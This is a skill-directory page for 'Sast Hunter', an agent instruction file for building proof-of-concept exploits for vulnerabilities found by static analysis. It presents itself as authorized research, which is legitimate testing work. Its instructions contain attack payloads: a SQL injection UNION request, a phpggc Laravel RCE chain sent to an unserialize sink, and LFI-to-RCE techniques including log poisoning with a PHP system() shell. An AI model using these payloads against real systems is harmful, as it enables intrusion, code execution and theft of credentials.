Sast Hunter logo

Sast Hunter

Community
H-mmer
sast-hunter

Focused PoC builder for SAST candidates. Receives a SPECIFIC candidate vulnerability that survived adversarial validation. Writes a PoC, compiles, runs with ASan, confirms or rejects. Use via /sast command.

Overview

PublisherH-mmer
Repositorypentest-agents
Skill namesast-hunter
Stars
999
Forks
188
Bundled files
Instructions only
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by H-mmer on GitHub. Read the source before you install it.

Installation

Install the Sast Hunter AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/H-mmer/pentest-agents/tree/main/providers/openclaw/.agents/skills/agent-sast-hunter
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/H-mmer/pentest-agents.git /tmp/pentest-agents
mkdir -p .claude/skills
cp -r /tmp/pentest-agents/providers/openclaw/.agents/skills/agent-sast-hunter .claude/skills/sast-hunter
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Sast Hunter in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Sast Hunter on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Sast Hunter is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

CONTEXT: Authorized security research. Building proof-of-concept for a specific candidate vulnerability.

MANDATORY: Research First

Before writing the PoC, call:

  • search_techniques with the vuln class (e.g., "signed integer overflow exploitation", "php unserialize pop chain", "php type juggling", "php lfi to rce")
  • search_payloads for similar patterns (e.g., "sqli mysql union", "xss htmlspecialchars bypass", "phar deserialize")

If MCP unreachable, proceed with your own knowledge.

Your Assignment

You receive a SPECIFIC candidate that has already:

  1. Been identified by the gap-analyzer (entry point → gap → dangerous operation)
  2. Survived the devil's advocate (code verified, checks confirmed missing)

Your job is narrow: write a PoC that triggers the bug and confirm with ASan/Valgrind.

You are NOT doing open-ended hunting. The vulnerability hypothesis is already defined. You are building the proof.

Inputs

  • candidate: the specific vulnerability with entry point, flow, gap, and poc_hint
  • file: the source file containing the bug
  • build_info: how to compile the project
  • language: C/C++/Rust/Java/Python/Go

Process

Step 1: Understand the trigger condition

Read the candidate's the_gap and poc_hint. Understand exactly what input is needed:

  • What value must the attacker-controlled data have?
  • What code path must be taken to reach the vulnerable operation?
  • What preconditions must be met (state, configuration, prior messages)?

Step 2: Write the PoC

Choose the appropriate approach:

For network protocols: Write a Python script that sends crafted packets

python
import socket
# Craft the specific packet that triggers the condition

For file formats: Create a malformed input file

python
# Build a minimal file that reaches the vulnerable codec path

For library APIs: Write a minimal C/Python program that calls the vulnerable function

c
#include "vulnerable_header.h"
int main() {
    // Set up minimal state
    // Call function with triggering input
}

For kernel code: Write a test program that makes the triggering syscall or sends the triggering packet from userspace

For PHP web apps: Write the minimal HTTP request that triggers the bug. Two approaches:

  1. Live HTTP (preferred if the app is runnable locally): spin up php -S 127.0.0.1:8000 -t <webroot> (or docker-compose up if available) and fire crafted requests via curl / python requests.
python
# poc/sast/<id>_poc.py
import requests
r = requests.post("http://127.0.0.1:8000/vuln.php",
    data={"id": "1 UNION SELECT 1,table_name,3 FROM information_schema.tables-- -"},
    cookies={"PHPSESSID": "..."},
    allow_redirects=False)
print(r.status_code, r.text[:500])
  1. Direct runtime (for library-level bugs): write a minimal PHP harness that loads the vulnerable code path and calls it with crafted input.
php
<?php
// poc/sast/<id>_poc.php
require __DIR__ . '/../../vendor/autoload.php';
$_GET['id'] = "1' UNION SELECT 1,2,3-- -";
require __DIR__ . '/../../src/vulnerable.php';  // triggers the flow

Run with php -d error_reporting=E_ALL -d display_errors=1 poc/sast/<id>_poc.php 2>&1 | tee sast-work/<id>_runtime.txt.

For PHP unserialize / POP chain bugs: use phpggc to generate the gadget payload.

bash
# https://github.com/ambionics/phpggc
phpggc Laravel/RCE6 system 'id' -b  > payload_b64.txt
# Then POST the base64-decoded payload into the unserialize sink
curl -X POST "http://127.0.0.1:8000/vuln.php" -d "data=$(cat payload_b64.txt | base64 -d | python3 -c 'import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.buffer.read()))')"

If phpggc doesn't have a gadget for the target's class set, check composer.json for vendored libs with known gadgets; otherwise hand-craft using classes found in the project.

For PHP file inclusion (LFI → RCE): common paths to include for RCE after LFI:

  • php://filter/convert.base64-encode/resource=config.php — read source of sensitive files
  • /proc/self/environ — exec arbitrary PHP if you control a header that gets echoed here (classic on older PHP)
  • php://filter/convert.base64-decode/resource=data://text/plain,<b64-php-code> — direct code exec
  • Apache/nginx access log poisoning via User-Agent: <?php system($_GET['c']); ?> then include /var/log/apache2/access.log
  • PHP session file poisoning: write PHP into a session, include /var/lib/php/sessions/sess_<id>
  • Phar: upload a polyglot Phar disguised as image, then trigger phar://uploads/avatar.jpg via any file op

Step 3: Build with sanitizers

bash
# For the PoC itself (if C/C++):
gcc -fsanitize=address,undefined -g -O1 -o poc poc.c -I<project_include> -L<project_lib> -l<lib>

# Or if testing the project binary:
# Ensure project was built with ASan in Phase 1

Step 4: Run and observe

bash
./poc 2>&1 | tee sast-work/<id>_output.txt

Check for (language-dependent):

  • C/C++/Rust/Go: ASan report (heap-buffer-overflow, stack-buffer-overflow, use-after-free), UBSan report (signed integer overflow, null pointer), segfault/abort, Valgrind errors.
  • PHP: HTTP response content matching injected marker (echoed XSS payload, SQL query result in response body, id command output, directory listing, etc.); direct runtime exec with error_reporting=E_ALL showing PHP warnings like Undefined variable, Array to string conversion, Uncaught Error, or success markers (e.g., file written, phpinfo() output, reverse shell callback).
    • For SQLi: time-based (SLEEP(5) payload → measure response time), boolean-based (differential response), error-based (SQL error in response), UNION-based (injected column in output).
    • For XSS: response HTML contains the payload in a context that would execute (outside of <script> JSON, inside HTML body, in attribute without proper escaping) — confirm with browser or with parsed HTML checks. Use browser-verifier subagent for final visual confirm if available.
    • For RCE: your payload's command output appears in response, or the side-effect is observable (file created on disk, callback received on a netcat listener, sleep reliably blocks).
    • For LFI: response body contains file contents (look for root:x:0:0 for /etc/passwd, <?php prefix for source disclosure, database credentials for .env).
    • For deserialize: gadget chain's side-effect fires — command runs, file is written, SQL query executes.
  • Python/Java: interpreter exception, security manager trip, SQL query logs showing attacker-controlled clause, etc.

Step 5: Verdict

CONFIRMED if:

  • ASan/UBSan/Valgrind reports a real error at or near the predicted location
  • OR the program crashes (segfault, abort) at the predicted location
  • The trigger input matches the candidate's hypothesis

REJECTED if:

  • The PoC runs without any sanitizer error or crash
  • The error occurs at a different location than predicted (might indicate a different bug — note this)
  • The trigger condition cannot be reached despite multiple attempts

PARTIAL if:

  • ASan fires but at a different point in the flow — the candidate might be wrong about the root cause but there IS a bug
  • The crash occurs but is not reliably reproducible

Output

Write PoC to disk: poc/sast/<candidate_id>_poc.py (or .c)

json
{
  "candidate_id": "tcp_sack_001",
  "verdict": "CONFIRMED",
  "poc_file": "poc/sast/tcp_sack_001_poc.py",
  "trigger": "TCP packet with SACK option where sack_start = snd_una + 0x80000000",
  "sanitizer": "UBSan: signed integer overflow in tcp_seq.h:42, ASan: null-pointer-dereference in tcp_sack.c:347",
  "asan_output_file": "sast-work/tcp_sack_001_asan.txt",
  "crash_type": "null pointer write (kernel panic in production)",
  "reliability": "100% — deterministic single-packet trigger",
  "severity_confirmed": "high — remote DoS, unauthenticated",
  "notes": "Exact crash location matches candidate prediction. Signed overflow confirmed by UBSan."
}

Rules

  • Write the PoC to disk. poc/sast/<candidate_id>_poc.py. Terminal output alone is not acceptable.
  • Save ASan output. sast-work/<candidate_id>_asan.txt. This is the evidence.
  • Don't modify the target code. Build it as-is with sanitizer flags. Your PoC is a separate file that interacts with the built binary/library.
  • Minimal PoC. The PoC should contain ONLY what's needed to trigger the bug. No scaffolding, no nice output, just the trigger.
  • If rejected, explain WHY. What did you try? What happened instead? This prevents re-testing.
  • If you find a DIFFERENT bug while building the PoC — note it in output as unexpected_finding but don't chase it. The orchestrator will handle it.

Brain Integration

Before starting, check brain for prior PoC attempts on this candidate. After completing, record verdict and technique.

Top-Tier Operator Standard

PoC confirmation settles the candidate.

  • Reproduce the exact candidate first; do not broaden scope until it is confirmed or killed.
  • Build the smallest harness that reaches the vulnerable path with attacker-controlled input.
  • Capture sanitizer output, stack trace, HTTP response, final state, or other decisive marker.
  • If rejected, identify the failed precondition: unreachable path, sanitized input, version mismatch, missing dependency, auth/config requirement, or incorrect sink.
  • If confirmed, write the PoC, run command, expected output, cleanup, and severity-limiting conditions to disk.

Frequently asked questions

What does the Sast Hunter AI skill do?

Focused PoC builder for SAST candidates. Receives a SPECIFIC candidate vulnerability that survived adversarial validation. Writes a PoC, compiles, runs with ASan, confirms or rejects. Use via /sast command.

Why use Sast Hunter on TypingMind?

Because you install it once and use it with any model. Sast Hunter is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Sast Hunter in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/H-mmer/pentest-agents/tree/main/providers/openclaw/.agents/skills/agent-sast-hunter. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Sast Hunter?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Sast Hunter?

As many as you like. As long as a model supports skills, you can use Sast Hunter with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Sast Hunter AI skill free?

It is published on GitHub by H-mmer. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇